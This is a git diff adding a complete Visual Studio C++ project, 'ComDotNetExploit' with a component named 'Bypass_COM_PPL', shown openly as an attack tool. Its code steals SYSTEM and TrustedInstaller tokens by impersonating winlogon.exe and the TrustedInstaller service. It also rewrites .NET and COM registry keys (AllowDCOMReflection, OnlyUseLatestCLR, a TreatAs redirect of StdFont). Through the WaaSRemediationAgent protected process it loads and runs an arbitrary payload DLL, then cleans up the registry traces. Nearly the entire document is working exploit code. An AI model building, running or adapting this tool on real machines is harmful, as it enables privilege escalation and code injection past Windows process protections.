diff --git a/Bypass_COM_PPL/Bypass_COM_PPL.vcxproj b/Bypass_COM_PPL/Bypass_COM_PPL.vcxproj new file mode 100644 index 0000000..b153430 --- /dev/null +++ b/Bypass_COM_PPL/Bypass_COM_PPL.vcxproj @@ -0,0 +1,150 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 17.0 + Win32Proj + {fffd18ed-1660-44aa-8949-e64e0e7330e3} + BypassCOMPPL + 10.0 + ComDotNetExploit + + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + + + + + + + + + + + + + + + + + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + false + MultiThreadedDebug + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Bypass_COM_PPL/Bypass_COM_PPL.vcxproj.filters b/Bypass_COM_PPL/Bypass_COM_PPL.vcxproj.filters new file mode 100644 index 0000000..ec4a360 --- /dev/null +++ b/Bypass_COM_PPL/Bypass_COM_PPL.vcxproj.filters @@ -0,0 +1,45 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + \ No newline at end of file diff --git a/Bypass_COM_PPL/Bypass_COM_PPL.vcxproj.user b/Bypass_COM_PPL/Bypass_COM_PPL.vcxproj.user new file mode 100644 index 0000000..7901e53 --- /dev/null +++ b/Bypass_COM_PPL/Bypass_COM_PPL.vcxproj.user @@ -0,0 +1,7 @@ + + + + C:\debug.dll InjectedPayload + WindowsLocalDebugger + + \ No newline at end of file diff --git a/Bypass_COM_PPL/com_utils.h b/Bypass_COM_PPL/com_utils.h new file mode 100644 index 0000000..bcb4c06 --- /dev/null +++ b/Bypass_COM_PPL/com_utils.h @@ -0,0 +1,24 @@ +// com_utils.h +#pragma once +#include +#include +#include + +class COMAutoRelease { +public: + COMAutoRelease() { CoInitialize(nullptr); } + ~COMAutoRelease() { CoUninitialize(); } +}; + +template +class COMPtr { + CComPtr ptr; +public: + COMPtr() = default; + COMPtr(const COMPtr&) = delete; + COMPtr& operator=(const COMPtr&) = delete; + + T** operator&() { return &ptr; } + T* operator->() { return ptr; } + operator T* () { return ptr; } +}; \ No newline at end of file diff --git a/Bypass_COM_PPL/dotnet_interop.cpp b/Bypass_COM_PPL/dotnet_interop.cpp new file mode 100644 index 0000000..6ed7f62 --- /dev/null +++ b/Bypass_COM_PPL/dotnet_interop.cpp @@ -0,0 +1,83 @@ +// dotnet_interop.cpp +#include "dotnet_interop.h" + +long GetSafeArrayLen(LPSAFEARRAY psa) { + long ubound = 0; + SafeArrayGetUBound(psa, 1, &ubound); + return ubound + 1; +} + +mscorlib::_MethodInfoPtr DotNetInterop::GetStaticMethod(mscorlib::_TypePtr type, LPCWSTR methodName, int pcount) { + + LPSAFEARRAY methods = type->GetMethods_2(); + mscorlib::_MethodInfoPtr ret; + LONG methodCount = GetSafeArrayLen(methods); + + for (long i = 0; i < methodCount; ++i) + { + IUnknown* v = nullptr; + + if (SUCCEEDED(SafeArrayGetElement(methods, &i, &v))) + { + mscorlib::_MethodInfoPtr method = v; + + bstr_t name = method->Getname(); + LPSAFEARRAY params = method->GetParameters(); + long paramCount = GetSafeArrayLen(params); + int choose = 1; + + if (method->IsStatic && wcscmp(name.GetBSTR(), methodName) == 0 && paramCount == pcount) + { + + ret = method; + break; + + + } + } + } + + SafeArrayDestroy(methods); + + return ret; + } + +mscorlib::_MethodInfoPtr DotNetInterop::GetStaticMethodLoad(mscorlib::_TypePtr type, LPCWSTR methodName, int pcount) { + + LPSAFEARRAY methods = type->GetMethods_2(); + mscorlib::_MethodInfoPtr ret; + LONG methodCount = GetSafeArrayLen(methods); + int choose = 0; + for (long i = 0; i < methodCount; ++i) + { + IUnknown* v = nullptr; + + if (SUCCEEDED(SafeArrayGetElement(methods, &i, &v))) + { + mscorlib::_MethodInfoPtr method = v; + + bstr_t name = method->Getname(); + LPSAFEARRAY params = method->GetParameters(); + long paramCount = GetSafeArrayLen(params); + + + if (method->IsStatic && wcscmp(name.GetBSTR(), methodName) == 0 && paramCount == pcount) + { + + if (choose == 2) + { + ret = method; + + break; + } + choose += 1; + + } + + } + } + + SafeArrayDestroy(methods); + + return ret; +} \ No newline at end of file diff --git a/Bypass_COM_PPL/dotnet_interop.h b/Bypass_COM_PPL/dotnet_interop.h new file mode 100644 index 0000000..9d6e758 --- /dev/null +++ b/Bypass_COM_PPL/dotnet_interop.h @@ -0,0 +1,30 @@ +// dotnet_interop.h +#pragma once +#include +#include +#include +#import "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorlib.tlb" \ + rename("ReportEvent", "_ReportEvent") \ + rename("or", "_or") + +class DotNetInterop { +public: + static mscorlib::_MethodInfoPtr GetStaticMethod(mscorlib::_TypePtr type, LPCWSTR methodName, int paramCount); + static mscorlib::_MethodInfoPtr GetStaticMethodLoad(mscorlib::_TypePtr type, LPCWSTR methodName, int pcount); + + template + static T ExecuteMethod(mscorlib::_MethodInfoPtr method, std::vector& args) { + SAFEARRAY* psa = SafeArrayCreateVector(VT_VARIANT, 0, static_cast(args.size())); + for (LONG i = 0; i < static_cast(args.size()); ++i) { + SafeArrayPutElement(psa, &i, &args[i]); + } + + variant_t ret = method->Invoke_3(variant_t(), psa); + T retObj = (ret.vt == VT_UNKNOWN || ret.vt == VT_DISPATCH) ? ret.punkVal : nullptr; + + SafeArrayDestroy(psa); + return retObj; + } + + +}; diff --git a/Bypass_COM_PPL/main.cpp b/Bypass_COM_PPL/main.cpp new file mode 100644 index 0000000..9ac8b93 --- /dev/null +++ b/Bypass_COM_PPL/main.cpp @@ -0,0 +1,221 @@ +// main.cpp +#include "com_utils.h" +#include "registry_utils.h" +#include "dotnet_interop.h" +#include "trustinstaller_utils.h" +#include +#include +#include + +constexpr CLSID CLSID_DotNetObject = { 0x81c5fe01,0x027c,0x3e1c,{0x98,0xd5,0xda,0x9c,0x98,0x62,0xaa,0x21} }; +constexpr CLSID CLSID_WaaSRemediationAgent = { 0x72566e27,0x1abb,0x4eb3,{0xb4,0xf0,0xeb,0x43,0x1c,0xb1,0xcb,0x32} }; + +bool InitializeEnvironment() { + std::cout << "[+] Setting DcomReflection..." << std::endl; + if (!RegistryUtils::SetDcomReflectionEnabled(true)) { + std::cerr << "[-] Failed to enable DCOM reflection\n"; + return false; + } + + std::cout << "[+] Setting OnlyUseLatestCLR..." << std::endl; + if (!RegistryUtils::SetOnlyUseLatestCLR(true)) { + std::cerr << "[-] Failed to set OnlyUseLatestCLR.\n"; + return false; + } + + std::cout << "[+] Setting treatas..." << std::endl; + if (!RegistryUtils::SetTreatAs(CLSID_StdFont, CLSID_DotNetObject)) { + std::cerr << "[-] Failed to set TreatAs key\n"; + return false; + } + std::cout << "[+] Environment initialized successfully\n"; + return true; +} + +bool ExecutePayload(const std::string& dllPath, _bstr_t staticClassName) { + try { + + + IDispatch* pWaasAgent = nullptr; + HRESULT hr = CoCreateInstance(CLSID_WaaSRemediationAgent, nullptr, CLSCTX_LOCAL_SERVER, IID_IDispatch, reinterpret_cast(&pWaasAgent)); + if (FAILED(hr)) throw _com_error(hr); + std::cout << "[+] CoCreateInstance for WaaSRemediationAgent succeeded\n"; + + ITypeInfo* pAgentTypeInfo = nullptr; + hr = pWaasAgent->GetTypeInfo(0, LOCALE_USER_DEFAULT, &pAgentTypeInfo); + if (FAILED(hr)) { + std::cerr << "[-] GetTypeInfo failed on pwaas: 0x" << std::hex << hr << '\n'; + pWaasAgent->Release(); + CoUninitialize(); + return false; + } + std::cout << "[+] Retrieved type info for WaaSRemediationAgent\n"; + + + HREFTYPE href = 0; + hr = pAgentTypeInfo->GetRefTypeOfImplType(0, &href); + if (FAILED(hr)) { + std::cerr << "[-] GetRefTypeOfImplType failed: 0x" << std::hex << hr << '\n'; + pAgentTypeInfo->Release(); + pWaasAgent->Release(); + CoUninitialize(); + return false; + } + std::cout << "[+] Retrieved reference type for implementation\n"; + + ITypeInfo* pBaseTypeInfo = nullptr; + hr = pAgentTypeInfo->GetRefTypeInfo(href, &pBaseTypeInfo); + if (FAILED(hr)) { + std::cerr << "[-] GetRefTypeInfo failed: 0x" << std::hex << hr << '\n'; + pAgentTypeInfo->Release(); + pWaasAgent->Release(); + CoUninitialize(); + return false; + } + std::cout << "[+] Retrieved base type info\n"; + + + COMPtr pStdoleTypeLib; + UINT indexInTypeLib = 0; + hr = pBaseTypeInfo->GetContainingTypeLib(&pStdoleTypeLib, &indexInTypeLib); + if (FAILED(hr) || pStdoleTypeLib == nullptr) { + std::cerr << "[-] GetContainingTypeLib failed: 0x" << std::hex << hr << '\n'; + pBaseTypeInfo->Release(); + pAgentTypeInfo->Release(); + pWaasAgent->Release(); + CoUninitialize(); + return false; + } + std::cout << "[+] Retrieved containing type library\n"; + + COMPtr pStdFontTypeInfo; + hr = pStdoleTypeLib->GetTypeInfoOfGuid(CLSID_StdFont, &pStdFontTypeInfo); + mscorlib::_ObjectPtr pStdFontObj; + // With: + hr = pStdFontTypeInfo->CreateInstance( + nullptr, + __uuidof(mscorlib::_Object), // Request the .NET _Object interface + reinterpret_cast(&pStdFontObj) + ); + if (FAILED(hr)) { + std::cerr << "[-] Failed to create .NET object: 0x" << std::hex << hr << '\n'; + throw _com_error(hr); + } + std::cout << "[+] Created .NET object\n"; + + mscorlib::_TypePtr pType = pStdFontObj->GetType(); + pType = pType->GetType(); + bstr_t targetType = L"System.Type"; + while (pType->FullName != targetType) + { + pType = pType->BaseType; + } + std::vector getTypeArgs; + + getTypeArgs.emplace_back(L"System.Reflection.Assembly"); + + mscorlib::_MethodInfoPtr getTypeMethod = DotNetInterop::GetStaticMethod(pType, L"GetType", 1); + pType = DotNetInterop::ExecuteMethod(getTypeMethod, getTypeArgs); + if (pType) + { + mscorlib::_MethodInfoPtr loadMethod = DotNetInterop::GetStaticMethodLoad(pType, L"Load", 1); + if (loadMethod) + { + // Read DLL into vector + // Convert to variant_t(byte array) + std::ifstream file(dllPath, std::ios::binary); + std::vector buffer((std::istreambuf_iterator(file)), std::istreambuf_iterator()); + file.close(); + std::cout << "[+] DLL file read successfully\n"; + // Convert to variant_t (byte array) + variant_t byteArrayVariant; + byteArrayVariant.vt = VT_ARRAY | VT_UI1; + SAFEARRAY* psa = SafeArrayCreateVector(VT_UI1, 0, buffer.size()); + void* pvData; + SafeArrayAccessData(psa, &pvData); + memcpy(pvData, buffer.data(), buffer.size()); + SafeArrayUnaccessData(psa); + byteArrayVariant.parray = psa; + + // Get the correct Load method for byte array + std::vector args; + args.push_back(byteArrayVariant); // Pass the byte array here + mscorlib::_AssemblyPtr assembly = DotNetInterop::ExecuteMethod(loadMethod, args); + + + if (assembly) + { + mscorlib::_TypePtr payloadType = assembly->GetType_2(staticClassName); + if (!payloadType) { + std::cout << "[-] Could not find type " << staticClassName << " in assembly\n"; + return false; + } + std::cout << "[+] Found " << staticClassName << " type in assembly\n"; + + mscorlib::_MethodInfoPtr mainMethod = DotNetInterop::GetStaticMethod(payloadType, L"Main", 0); + + if (mainMethod) { + std::vector mainArgs; + DotNetInterop::ExecuteMethod(mainMethod, mainArgs); + std::cout << "[+] Executed Main method of InjectedPayload\n"; + } + + } + else + { + std::cout << "[-] Failed to load assembly.\n"; + } + + + } + + } + + return true; + } + catch (const _com_error& e) { + std::cerr << "[-] COM Error: " << e.ErrorMessage() << '\n'; + std::cerr << "[-] HRESULT: " << std::hex << e.Error() << '\n'; + return false; + } +} + +int main(int argc, char* argv[]) { + if (argc < 3) { + std::cerr << "Usage: " << argv[0] << " \n"; + std::cerr << "The static class must contain a 'public static void Main()' method.\n"; + return EXIT_FAILURE; + } + std::string dllPath = argv[1]; + _bstr_t staticClassName(argv[2]); + bool success = true; + try + { + // Call the function to impersonate Trusted Installer + Elevate::RunAsTrustedInstaller(); + std::cout << "[+] Successfully impersonated Trusted Installer...\n"; + + // Initialize COM and the environment + COMAutoRelease com; + if (!InitializeEnvironment()) return EXIT_FAILURE; + + // Execute the payload + success = ExecutePayload(dllPath, staticClassName); + + // Clean up registry settings + std::cout << "[+] Cleaning up registry settings...\n"; + RegistryUtils::CleanupClsid(CLSID_StdFont); + RegistryUtils::CleanDcomReflection(); + RegistryUtils::CleanOnlyUseLatestCLR(); + + } + catch (const std::exception& e) + { + // Catch any exceptions thrown during the execution of the function + std::cerr << "Error: " << e.what() << '\n'; + return EXIT_FAILURE; // Return a non-zero value to indicate an error occurred + } + + return success ? EXIT_SUCCESS : EXIT_FAILURE; +} + diff --git a/Bypass_COM_PPL/payload.h b/Bypass_COM_PPL/payload.h new file mode 100644 index 0000000..87bb487 Binary files /dev/null and b/Bypass_COM_PPL/payload.h differ diff --git a/Bypass_COM_PPL/registry_utils.cpp b/Bypass_COM_PPL/registry_utils.cpp new file mode 100644 index 0000000..0429aa7 --- /dev/null +++ b/Bypass_COM_PPL/registry_utils.cpp @@ -0,0 +1,97 @@ +// registry_utils.cpp +#include "registry_utils.h" + +bool RegistryUtils::SetDcomReflectionEnabled(bool enable) { + HKEY hKey; + LPCWSTR subKey = L"SOFTWARE\\Microsoft\\.NETFramework"; + LPCWSTR valueName = L"AllowDCOMReflection"; + + LONG result = RegCreateKeyEx(HKEY_LOCAL_MACHINE, subKey, 0, nullptr, + REG_OPTION_NON_VOLATILE, KEY_WRITE, nullptr, &hKey, nullptr); + if (result != ERROR_SUCCESS) return false; + + DWORD data = enable ? 1 : 0; + result = RegSetValueEx(hKey, valueName, 0, REG_DWORD, + reinterpret_cast(&data), sizeof(data)); + RegCloseKey(hKey); + return result == ERROR_SUCCESS; +} + +bool RegistryUtils::CleanDcomReflection() { + HKEY hKey; + LPCWSTR subKey = L"SOFTWARE\\Microsoft\\.NETFramework"; + LPCWSTR valueName = L"AllowDCOMReflection"; + + // Open the key first + LONG result = RegOpenKeyEx(HKEY_LOCAL_MACHINE, subKey, 0, KEY_WRITE, &hKey); + if (result != ERROR_SUCCESS) return false; + + // Delete the value + result = RegDeleteValue(hKey, valueName); + RegCloseKey(hKey); + + return (result == ERROR_SUCCESS || result == ERROR_FILE_NOT_FOUND); +} + +bool RegistryUtils::SetTreatAs(const CLSID& originalClsid, const CLSID& newClsid) { + WCHAR originalClsidStr[40], newClsidStr[40]; + StringFromGUID2(originalClsid, originalClsidStr, 40); + StringFromGUID2(newClsid, newClsidStr, 40); + + std::wstring keyPath = std::wstring(L"CLSID\\") + originalClsidStr + L"\\TreatAs"; + + HKEY hKey; + LONG result = RegCreateKeyEx(HKEY_CLASSES_ROOT, keyPath.c_str(), 0, nullptr, + REG_OPTION_NON_VOLATILE, KEY_WRITE, nullptr, &hKey, nullptr); + if (result != ERROR_SUCCESS) return false; + + // Explicit cast to DWORD + DWORD dataSize = static_cast((wcslen(newClsidStr) + 1) * sizeof(WCHAR)); + + result = RegSetValueEx(hKey, nullptr, 0, REG_SZ, + reinterpret_cast(newClsidStr), dataSize); + RegCloseKey(hKey); + + return result == ERROR_SUCCESS; +} + + +void RegistryUtils::CleanupClsid(const CLSID& clsid) { + WCHAR clsidStr[40]; + StringFromGUID2(clsid, clsidStr, 40); + + std::wstring keyPath = std::wstring(L"CLSID\\") + clsidStr + L"\\TreatAs"; + RegDeleteTree(HKEY_CLASSES_ROOT, keyPath.c_str()); +} + +bool RegistryUtils::SetOnlyUseLatestCLR(bool enable) { + HKEY hKey; + LPCWSTR subKey = L"SOFTWARE\\Microsoft\\.NETFramework"; + LPCWSTR valueName = L"OnlyUseLatestCLR"; + + LONG result = RegCreateKeyEx(HKEY_LOCAL_MACHINE, subKey, 0, nullptr, + REG_OPTION_NON_VOLATILE, KEY_WRITE, nullptr, &hKey, nullptr); + if (result != ERROR_SUCCESS) return false; + + DWORD data = enable ? 1 : 0; + result = RegSetValueEx(hKey, valueName, 0, REG_DWORD, + reinterpret_cast(&data), sizeof(data)); + RegCloseKey(hKey); + return result == ERROR_SUCCESS; +} + +bool RegistryUtils::CleanOnlyUseLatestCLR() { + HKEY hKey; + LPCWSTR subKey = L"SOFTWARE\\Microsoft\\.NETFramework"; + LPCWSTR valueName = L"OnlyUseLatestCLR"; + + // Open the key first + LONG result = RegOpenKeyEx(HKEY_LOCAL_MACHINE, subKey, 0, KEY_WRITE, &hKey); + if (result != ERROR_SUCCESS) return false; + + // Delete the value + result = RegDeleteValue(hKey, valueName); + RegCloseKey(hKey); + + return (result == ERROR_SUCCESS || result == ERROR_FILE_NOT_FOUND); +} diff --git a/Bypass_COM_PPL/registry_utils.h b/Bypass_COM_PPL/registry_utils.h new file mode 100644 index 0000000..bea6885 --- /dev/null +++ b/Bypass_COM_PPL/registry_utils.h @@ -0,0 +1,14 @@ +// registry_utils.h +#pragma once +#include +#include + +class RegistryUtils { +public: + static bool SetDcomReflectionEnabled(bool enable); + static bool SetTreatAs(const CLSID& originalClsid, const CLSID& newClsid); + static void CleanupClsid(const CLSID& clsid); + static bool SetOnlyUseLatestCLR(bool enable); + static bool CleanDcomReflection(); + static bool CleanOnlyUseLatestCLR(); +}; \ No newline at end of file diff --git a/Bypass_COM_PPL/trustinstaller_utils.cpp b/Bypass_COM_PPL/trustinstaller_utils.cpp new file mode 100644 index 0000000..b3f6530 --- /dev/null +++ b/Bypass_COM_PPL/trustinstaller_utils.cpp @@ -0,0 +1,222 @@ +// trustinstaller_utils.cpp +#include "trustinstaller_utils.h" + +void Elevate::EnablePrivilege(std::wstring privilegeName) +{ + HANDLE hToken; + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) + throw std::runtime_error("OpenProcessToken failed: " + std::to_string(GetLastError())); + + LUID luid; + if (!LookupPrivilegeValueW(nullptr, privilegeName.c_str(), &luid)) + { + CloseHandle(hToken); + throw std::runtime_error("LookupPrivilegeValue failed: " + std::to_string(GetLastError())); + } + + TOKEN_PRIVILEGES tp; + tp.PrivilegeCount = 1; + tp.Privileges[0].Luid = luid; + tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), nullptr, nullptr)) + { + CloseHandle(hToken); + throw std::runtime_error("AdjustTokenPrivilege failed: " + std::to_string(GetLastError())); + } + + CloseHandle(hToken); +} + +DWORD Elevate::GetProcessIdByName(std::wstring processName) +{ + HANDLE hSnapshot; + if ((hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)) == INVALID_HANDLE_VALUE) + { + throw std::runtime_error("CreateToolhelp32Snapshot failed: " + std::to_string(GetLastError())); + } + + DWORD pid = -1; + PROCESSENTRY32W pe; + ZeroMemory(&pe, sizeof(PROCESSENTRY32W)); + pe.dwSize = sizeof(PROCESSENTRY32W); + if (Process32FirstW(hSnapshot, &pe)) + { + while (Process32NextW(hSnapshot, &pe)) + { + if (pe.szExeFile == processName) + { + pid = pe.th32ProcessID; + break; + } + } + } + else + { + CloseHandle(hSnapshot); + throw std::runtime_error("Process32First failed: " + std::to_string(GetLastError())); + } + + if (pid == -1) + { + CloseHandle(hSnapshot); + throw std::runtime_error("process not found: " + std::wstring_convert>().to_bytes(processName)); + } + + CloseHandle(hSnapshot); + return pid; +} + +void Elevate::ImpersonateSystem() +{ + auto systemPid = GetProcessIdByName(L"winlogon.exe"); + HANDLE hSystemProcess; + if ((hSystemProcess = OpenProcess( + PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION, + FALSE, + systemPid)) == nullptr) + { + throw std::runtime_error("OpenProcess failed (winlogon.exe): " + std::to_string(GetLastError())); + } + + HANDLE hSystemToken; + if (!OpenProcessToken( + hSystemProcess, + MAXIMUM_ALLOWED, + &hSystemToken)) + { + CloseHandle(hSystemProcess); + throw std::runtime_error("OpenProcessToken failed (winlogon.exe): " + std::to_string(GetLastError())); + } + + HANDLE hDupToken; + SECURITY_ATTRIBUTES tokenAttributes; + tokenAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); + tokenAttributes.lpSecurityDescriptor = nullptr; + tokenAttributes.bInheritHandle = FALSE; + if (!DuplicateTokenEx( + hSystemToken, + MAXIMUM_ALLOWED, + &tokenAttributes, + SecurityImpersonation, + TokenImpersonation, + &hDupToken)) + { + CloseHandle(hSystemToken); + throw std::runtime_error("DuplicateTokenEx failed (winlogon.exe): " + std::to_string(GetLastError())); + } + + if (!ImpersonateLoggedOnUser(hDupToken)) + { + CloseHandle(hDupToken); + CloseHandle(hSystemToken); + throw std::runtime_error("ImpersonateLoggedOnUser failed: " + std::to_string(GetLastError())); + } + + CloseHandle(hDupToken); + CloseHandle(hSystemToken); +} + +int Elevate::StartTrustedInstallerService() +{ + SC_HANDLE hSCManager; + if ((hSCManager = OpenSCManagerW( + nullptr, + SERVICES_ACTIVE_DATABASE, + GENERIC_EXECUTE)) == nullptr) + { + throw std::runtime_error("OpenSCManager failed: " + std::to_string(GetLastError())); + } + + SC_HANDLE hService; + if ((hService = OpenServiceW( + hSCManager, + L"TrustedInstaller", + GENERIC_READ | GENERIC_EXECUTE)) == nullptr) + { + CloseServiceHandle(hSCManager); + throw std::runtime_error("OpenService failed: " + std::to_string(GetLastError())); + } + + SERVICE_STATUS_PROCESS statusBuffer; + DWORD bytesNeeded; + while (QueryServiceStatusEx( + hService, + SC_STATUS_PROCESS_INFO, + reinterpret_cast(&statusBuffer), + sizeof(SERVICE_STATUS_PROCESS), + &bytesNeeded)) + { + if (statusBuffer.dwCurrentState == SERVICE_STOPPED) + { + if (!StartServiceW(hService, 0, nullptr)) + { + CloseServiceHandle(hService); + CloseServiceHandle(hSCManager); + throw std::runtime_error("StartService failed: " + std::to_string(GetLastError())); + } + } + if (statusBuffer.dwCurrentState == SERVICE_START_PENDING || + statusBuffer.dwCurrentState == SERVICE_STOP_PENDING) + { + Sleep(statusBuffer.dwWaitHint); + continue; + } + if (statusBuffer.dwCurrentState == SERVICE_RUNNING) + { + CloseServiceHandle(hService); + CloseServiceHandle(hSCManager); + return statusBuffer.dwProcessId; + } + } + CloseServiceHandle(hService); + CloseServiceHandle(hSCManager); + throw std::runtime_error("QueryServiceStatusEx failed: " + std::to_string(GetLastError())); +} + +void Elevate::RunAsTrustedInstaller() +{ + auto pid = StartTrustedInstallerService(); + EnablePrivilege(SE_DEBUG_NAME); + EnablePrivilege(SE_IMPERSONATE_NAME); + Elevate::ImpersonateSystem(); + + HANDLE hTIProcess; + if ((hTIProcess = OpenProcess( + PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION, + FALSE, + pid)) == nullptr) + { + throw std::runtime_error("OpenProcess failed (TrustedInstaller.exe): " + std::to_string(GetLastError())); + } + + HANDLE hTIToken; + if (!OpenProcessToken( + hTIProcess, + MAXIMUM_ALLOWED, + &hTIToken)) + { + CloseHandle(hTIProcess); + throw std::runtime_error("OpenProcessToken failed (TrustedInstaller.exe): " + std::to_string(GetLastError())); + } + + HANDLE hDupToken; + SECURITY_ATTRIBUTES tokenAttributes; + tokenAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); + tokenAttributes.lpSecurityDescriptor = nullptr; + tokenAttributes.bInheritHandle = FALSE; + if (!DuplicateTokenEx( + hTIToken, + MAXIMUM_ALLOWED, + &tokenAttributes, + SecurityImpersonation, + TokenImpersonation, + &hDupToken)) + { + CloseHandle(hTIToken); + throw std::runtime_error("DuplicateTokenEx failed (TrustedInstaller.exe): " + std::to_string(GetLastError())); + } + + if (!ImpersonateLoggedOnUser(hTIToken)) { + throw std::runtime_error("ImpersonateLoggedOnUser failed: " + std::to_string(GetLastError())); + } +} diff --git a/Bypass_COM_PPL/trustinstaller_utils.h b/Bypass_COM_PPL/trustinstaller_utils.h new file mode 100644 index 0000000..937157e --- /dev/null +++ b/Bypass_COM_PPL/trustinstaller_utils.h @@ -0,0 +1,20 @@ +// trustinstaller_utils.h +#pragma once +#include +#include +#include +#include +#include +#include + +class Elevate { + +public: + static void RunAsTrustedInstaller(); + +private: + static void EnablePrivilege(std::wstring privilegeName); + static DWORD GetProcessIdByName(std::wstring processName); + static void ImpersonateSystem(); + static int StartTrustedInstallerService(); +}; \ No newline at end of file diff --git a/ComDotNetExploit.sln b/ComDotNetExploit.sln new file mode 100644 index 0000000..5d48f6c --- /dev/null +++ b/ComDotNetExploit.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.11.35208.52 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Bypass_COM_PPL", "Bypass_COM_PPL\Bypass_COM_PPL.vcxproj", "{FFFD18ED-1660-44AA-8949-E64E0E7330E3}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {FFFD18ED-1660-44AA-8949-E64E0E7330E3}.Debug|x64.ActiveCfg = Debug|x64 + {FFFD18ED-1660-44AA-8949-E64E0E7330E3}.Debug|x64.Build.0 = Debug|x64 + {FFFD18ED-1660-44AA-8949-E64E0E7330E3}.Debug|x86.ActiveCfg = Debug|Win32 + {FFFD18ED-1660-44AA-8949-E64E0E7330E3}.Debug|x86.Build.0 = Debug|Win32 + {FFFD18ED-1660-44AA-8949-E64E0E7330E3}.Release|x64.ActiveCfg = Release|x64 + {FFFD18ED-1660-44AA-8949-E64E0E7330E3}.Release|x64.Build.0 = Release|x64 + {FFFD18ED-1660-44AA-8949-E64E0E7330E3}.Release|x86.ActiveCfg = Release|Win32 + {FFFD18ED-1660-44AA-8949-E64E0E7330E3}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {94202749-A107-4A07-B8BB-6B796A54FEF2} + EndGlobalSection +EndGlobal